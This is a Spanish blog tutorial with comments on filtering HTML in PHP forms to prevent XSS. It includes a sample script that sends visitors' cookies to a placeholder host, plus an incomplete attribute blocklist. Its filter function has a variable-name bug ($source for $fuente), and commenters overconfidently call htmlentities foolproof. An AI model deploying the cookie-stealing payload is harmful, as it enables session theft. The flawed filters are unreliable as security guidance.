El título original de este post era “Filtrando etiquetas HTML” pero ya que lo estoy recuperando de la cache de Google le voy a dar una actualizada de título a uno más llamativo
XSS (Cross Site Scripting).- Es el ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. El problema es que normalmente no se valida correctamente. Fuente: wikipedia
Cuando dejamos un formulario (contanto, comentarios, firmas de visita, etc.) que acepte HTML disponible a nuestros visitantes nos encontramos que no todos tienen buenas intenciones, por lo que es sumamente importante que no dejemos la puerta abierta para que abusen. Por ejemplo alguien puede postear lo siguiente:
<script>
var url = 'http://www.mysite.com/send_me_passwords.cgi';
url = url + '?cookie=' + escape(document.cookie);
document.write('<script src="'+url+'">');
</script>
Esto permitirá a quien lo ponga recolectar las cookies (y posiblemente los detalles de login) de cualquier usuario que visite la página. La primera forma de defensa contra esto es la función de PHP strip_tags() . Esta elimina las etiquetas HTML de una cadena, dejando solo las etiquetas que se especifiquen.
function eliminaEtiquetasMalas($fuente)
{
$etiquetasValidas='<ul><li><a><abbr><acronym>' .
'<blockquote><code><pre>' .
'<em><i><strike><s><strong><b><br />';
return strip_tags($fuente, $etiquetasValidas);
}
Pero no nos salvará de que traten de usar las etiquetas válidas y ponerle atributos maliciosos como javascript: por ejemplo, por lo que hay que tratar de frenarlos creando una nueva función que elimine el peligro de los atributos en las etiquetas válidas.
function eliminarAtributosMalos($etiquetaFuente)
{
$atributosMalos = 'javascript:|onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup|style|class';
$etiquetaFuente= stripslashes($etiquetaFuente);
$etiquetaFuente= preg_replace("/$atributosMalos/i", 'prohibido', $etiquetaFuente);
return $etiquetaFuente;
}
Y con un pequeño cambio en la función anterior la mandamos llamar.
function eliminaEtiquetasMalas($fuente)
{
$etiquetasValidas='<ul><li><a><abbr><acronym>' .
'<blockquote><code><pre>' .
'<em><i><strike><s><strong><b><br>';
$fuente= strip_tags($fuente, $etiquetasValidas);
return preg_replace('/<(.*?)>/ie', "'<'.eliminarAtributosMalos('\\1').'>'", $source);
}
Entonces ahora si ya esta listo esto, para probarlo basta con lo siguiente.
// Pondrá la palabra "prohibido" a lo no válido.
echo eliminaEtiquetasMalas('<a href="javascript:alert(1);" target="_blank" onMouseOver = "alert(1)">test</a>');
8 Responses
gringo
July 10th, 2006 at 3:42 pm
1Muy buena esta data… Tengo un par de formularios que hice que tienen 0 (cero) protección contra estos ataques
.
No son nada del otro mundo (nada crítico): un guestbook y un formulario de contacto… pero… igualmente lo voy a implementar…
pecesama
July 10th, 2006 at 3:59 pm
2protegeles cuanto antes ya que en especial el guestbook es peligroso tenerlo así.
Alex
July 18th, 2006 at 11:43 am
3Justo lo que andaba buscando. Gracias!
yo
March 6th, 2008 at 12:22 pm
4if (!function_exists(“GetSQLValueString”)) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = “”, $theNotDefinedValue = “”)
{
$theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
$theValue = function_exists(“mysql_real_escape_string”) ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);
switch ($theType) {
case “text”:
$theValue = ($theValue != “”) ? “‘” . $theValue . “‘” : “NULL”;
break;
case “int”:
$theValue = ($theValue != “”) ? intval($theValue) : “NULL”;
break;
case “double”:
$theValue = ($theValue != “”) ? “‘” . doubleval($theValue) . “‘” : “NULL”;
break;
case “date”:
$theValue = ($theValue != “”) ? “‘” . $theValue . “‘” : “NULL”;
break;
case “defined”:
$theValue = ($theValue != “”) ? $theDefinedValue : $theNotDefinedValue;
break;
case “like1″:
$theValue = ($theValue != “”) ? “‘%” . $theValue . “%’” : “NULL”;
break;
case “like2″:
$theValue = ($theValue != “”) ? “‘” . $theValue . “%’” : “NULL”;
break;
case “like3″:
$theValue = ($theValue != “”) ? “‘%” . $theValue . “‘” : “NULL”;
break;
}
$theValue=htmlentities($theValue); // agregado
return $theValue;
}
$textoabuscar=GetSQLValueString($_GET['palabra'], “text”);
ahi esta! imposible que pasen esta seguridad….!
farra
March 6th, 2008 at 12:24 pm
5htmlentities es la funcion de PHP que hace todo por vos… no hacen falta mas funciones.. ahi es imposible que te hagan un Ataque XSS…
htmlentities($valorabuscar);
WH
June 27th, 2008 at 11:08 am
6Y DONDE PUEDO INSERTAR ESE CODIGO DE SEGURIDAD PARA UNA WEB EN PHP NUKE PLATINUM?? mi correo es wolfhen@hotmail.com. gracias por su ayuda.
Victor De la Rocha
January 30th, 2009 at 2:26 pm
7Sencillito, claro y fácil de usar. Thanks
pecesama
January 30th, 2009 at 2:42 pm
8y mejor que se va a poner cuando sea un helper para flavor
RSS feed for comments on this post · TrackBack URI
Leave a reply
Recomendados
Meta
Publicidad
Categorias
Recent Entries
Recent Comments
Most Commented
Pecesama.Net [weblog] is proudly powered by WordPress - BloggingPro theme by: Design Disease